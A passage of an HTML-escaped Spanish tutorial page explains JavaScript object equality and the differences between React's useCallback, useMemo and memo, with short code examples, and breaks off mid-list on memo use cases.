&#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Ahora te explico como maneja Javascript los objetos.&lt;/p&gt;&#xA;&lt;h3 id=&#34;como-maneja-javascript-los-objetos-&#34;&gt;¿Cómo maneja Javascript los objetos ?&lt;/h3&gt;&#xA;&lt;p&gt;En Javascript, cuando comparamos dos valores nativos obtendremos el mismo resultado. Sin embargo, los objetos, incluidas las funciones, no se consideran iguales, incluso aunque sean idénticos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;===&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;true&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;hello world&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;===&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;hello world&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;true&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; d &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; () =&amp;gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;hello world&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; c &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; () =&amp;gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;hello world&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;d &lt;span style=&#34;color:#ff6ac1&#34;&gt;===&lt;/span&gt; c&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;false&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//las funciones son idénticas, sin embargo, al ser objetos diferentes, no son iguales para JS&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Otro ejemplo:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; A &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {uno&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, dos&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; B &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {uno&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, dos&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;A&lt;span style=&#34;color:#ff6ac1&#34;&gt;===&lt;/span&gt;B&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// false&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Aunque dos objetos sean iguales y tengan las mismas propiedades y valores, dado que se encuentran en diferentes direcciones de memoria, se consideran dos objetos diferentes por parte de Javascript.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;creacion-de-objetos-en-react&#34;&gt;Creación de objetos en React&lt;/h2&gt;&#xA;&lt;p&gt;Lo anterior aplica exactamente igual en React. &lt;strong&gt;Cada vez que React crea una función se está creando un nuevo objeto&lt;/strong&gt;, distinto al anterior, incluso aunque cumplan la misma función, linea por linea.&lt;/p&gt;&#xA;&lt;p&gt;Mira el siguiente código, &lt;strong&gt;cada vez que se renderice el componente MyComponent, React creará una función nueva&lt;/strong&gt; llamada &lt;em&gt;callback&lt;/em&gt;, distinta a la de la renderización pasada.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; { useCallback } from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;react&amp;#39;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; MyComponent &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ({prop}) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; callback &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; () =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Result&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  };&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;ChildComponent callback&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{callback} &lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora que sabes como manejan Javascript y React los objetos vamos al tema principal.&lt;/p&gt;&#xA;&lt;h2 id=&#34;diferencias-entre-usecallback-usememo-y-memo&#34;&gt;Diferencias entre useCallback, useMemo y memo&lt;/h2&gt;&#xA;&lt;p&gt;Para empezar diremos que &lt;em&gt;useCallback, useMemo y memo son funciones de memoización&lt;/em&gt;, estas funciones nos ahorrarán volver a calcular &lt;em&gt;algo&lt;/em&gt; desde cero.&lt;/p&gt;&#xA;&lt;p&gt;Las diferencias básicas entre useCallback, useMemo y memo se resumen en la siguiente tabla.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;useCallback, memoiza funciones, es un hook.&lt;/li&gt;&#xA;&lt;li&gt;useMemo, memoiza valores, es un hook.&lt;/li&gt;&#xA;&lt;li&gt;memo, memoiza componentes, es un HOC.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/react/react-memo-usememo-and-usecallback-to-avoid-react-renderings/images/Diferencias-React-useCallback-useMemo-memo.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/react/react-memo-usememo-and-usecallback-to-avoid-react-renderings/images/Diferencias-React-useCallback-useMemo-memo.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Diferencias entre useCallback, useMemo y memo&#34; width=&#34;1200&#34; height=&#34;630&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;En conjunto, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/react/react-memo-usememo-y-usecallback-para-evitar-renderizaciones-en-react/&#34;&gt;memo, useMemo y useCallback, se usan para evitar renderizaciones innecesarias en React.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;usecallback-memoiza-funciones&#34;&gt;useCallback memoiza funciones&lt;/h2&gt;&#xA;&lt;p&gt;useCallback &lt;strong&gt;es un hook de React&lt;/strong&gt; que se encarga de memoizar las funciones y de que no se re-renderizen al montarse los components. Es muy útil cuando se transfieren funciones a componentes hijos.&lt;/p&gt;&#xA;&lt;p&gt;La función useCallback acepta dos argumentos y &lt;strong&gt;retorna una función&lt;/strong&gt;. El primer argumento es la función a memoizar y el segundo, al igual que useEffect, es una array de variables a vigilar, de manera que React no genere una nueva función con cada renderizado, siempre y cuando esas variables no cambien. Al igual que con useEffect también podemos dejar el array vacio.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; { useCallback } from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;react&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; MyComponent &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ({prop}) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; callback &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; () =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Result&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  };&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; memoizedCallback &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; useCallback(callback, [prop])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;ChildComponent callback&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{memoizedCallback} &lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Lo repito, mientras el prop que recibe el componente llamado Component, se mantenga constante, no se creará una nueva función, por más que se re-renderice el componente.&lt;/p&gt;&#xA;&lt;h2 id=&#34;usememo-memoiza-valores&#34;&gt;useMemo memoiza valores&lt;/h2&gt;&#xA;&lt;p&gt;Esta función &lt;strong&gt;es un hook&lt;/strong&gt; de React que sirve para memoizar el valor que devuelve una función. La función useMemo acepta dos argumentos y &lt;strong&gt;retorna un valor&lt;/strong&gt;. El primer argumento es la función y el segundo, al igual que useCallback, es un array de variables a vigilar, de manera que no se generará un nuevo valor mientras esas variables no cambien.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; { useMemo } from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;react&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Ideal para funciones costosas de ejecutar, como factoriales o cálculos complejos&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; OtherComponent({value}) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; memoizedValue &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; useMemo(()=&amp;gt;getExpensiveValue(value), [value])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;div&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;...&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;/div&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Nuevamente, mientras &lt;em&gt;value&lt;/em&gt; se mantenga constante, no se ejecutará &lt;em&gt;getExpensiveValue&lt;/em&gt; con cada renderización del componente, sino que se devolverá el valor memoizado. Al igual que con useEffect también podemos dejar el array vacio, en lugar de value.&lt;/p&gt;&#xA;&lt;h2 id=&#34;memo-memoiza-componentes&#34;&gt;memo memoiza componentes&lt;/h2&gt;&#xA;&lt;p&gt;Memo &lt;strong&gt;no es un hook&lt;/strong&gt;, es un High Order Component (HOC), es decir una función que toma un componente como parámetro y &lt;strong&gt;retorna un nuevo componente.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Memo revisa si los props del componente que recibe han cambiado, si no lo han hecho, devolverá el componente memoizado, sin renderizarlo nuevamente.&lt;/p&gt;&#xA;&lt;p&gt;Una vez más, a diferencia de useCallback y useMemo, memo &lt;strong&gt;no es un hook&lt;/strong&gt;, sino una función de memoización que se ejecuta sobre un componente.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; { memo } from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;react&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; MyComponent &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ({id, title}) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;div&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;{id}{title}&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;/div&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt; memo(MyComponent)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Por ejemplo, imagínate que tenemos el componente anterior. Mientras &lt;em&gt;id&lt;/em&gt; y &lt;em&gt;title&lt;/em&gt; no cambien, el componente llamado &lt;em&gt;Component&lt;/em&gt;, no se renderizará una vez más, sino que se devolverá su valor memoizado.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; MyComponent from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;./MyComponent&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; ParentComponent &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; () =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; {id, title} &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; getIdAndTitle()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt;(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;OtrosComponentes&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;MyComponent id&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{id} title&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{title}&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;/&amp;gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;casos-de-uso-de-memo&#34;&gt;casos de uso de memo&lt;/h3&gt;&#xA;&lt;p&gt;Memo es ideal para componentes que:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sufren múltiples renderizaciones con el uso de la aplicación y que generalmente reciben los mismos props.&lt;/li&gt;&#xA;&lt;li&gt;Reciben props que cambian con poca frecuencia o simplemente no 